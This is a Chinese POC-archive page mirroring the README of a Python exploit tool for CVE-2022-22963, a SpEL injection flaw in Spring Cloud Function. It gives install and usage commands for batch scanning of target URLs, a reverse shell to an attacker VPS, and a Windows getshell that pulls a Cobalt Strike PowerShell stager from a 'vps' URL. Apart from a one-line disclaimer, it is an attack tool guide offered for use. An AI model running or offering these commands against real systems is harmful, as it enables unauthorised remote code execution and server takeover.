目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2022-22963 PoC — Spring Framework 代码注入漏洞

来源
关联漏洞
标题:Spring Framework 代码注入漏洞 (CVE-2022-22963)
Description:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞。目前暂无该漏洞信息,请随时关注CNNVD或厂商公告。
Description
Spring Cloud Function SPEL表达式注入漏洞(CVE-2022-22963)
介绍
# Spring Cloud Function SPEL表达式注入漏洞(CVE-2022-22963)

>Spring框架为现代基于java的企业应用程序(在任何类型的部署平台上)提供了一个全面的编程和配置模型。
>
>Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。
>
>影响范围:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
>
>**脚本仅供学习使用,如作他用所承受的法律责任一概与作者无关**

## 1.installation(安装模块)

```shell
pip3 install -r requirements.txt	
```

## 2.Usage(用法)

`python3 spring-cloud-function-rce.py -h`

![image-20220414184058525](README.assets/image-20220414184058525.png)

>-u 指定单个url进行dnslog测试
>
>-e 指定反弹shell模式
>
>-s 指定目标主机操作系统,默认linux,参数为win/linux **配合-i和-c参数使用**

## 3.example(使用案例)

### 3.1 单个url测试

`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"`

![image-20220414184202055](README.assets/image-20220414184202055.png)

### 3.2 批量url测试

`python3 spring-cloud-function-rce.py -f "urls.txt"`

![image-20220414184424640](README.assets/image-20220414184424640.png)

>- 123.58.236.76:47874是vulfocus的docker靶场,没有安装nslookup命令,所以dnslog测试失败
>- 批量url地址一定要是网站根目录,http://192.168.50.222:8080/ 是本地搭建靶场的根目录,加了test目录会导致poc失效

### 3.3 linux靶机getshell

`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"`

![image-20220414185231029](README.assets/image-20220414185231029.png)

### 3.4 windows靶机getshell

`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"`

> -c指定cs生成powershell上线代码的地址,必须配合 -s "win"使用,-c 选项必须在windows下执行脚本,脚本会调用powershell进行poc编码

![image-20220414185711222](README.assets/image-20220414185711222.png)

![image-20220414190020294](README.assets/image-20220414190020294.png)

## 4. 靶场

### 4.1 idea自行搭建

### [参考地址](https://www.anquanke.com/post/id/271167)

### 4.2 docker靶场

[vulfocus](http://vulfocus.io/)

![image-20220414190509578](README.assets/image-20220414190509578.png)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →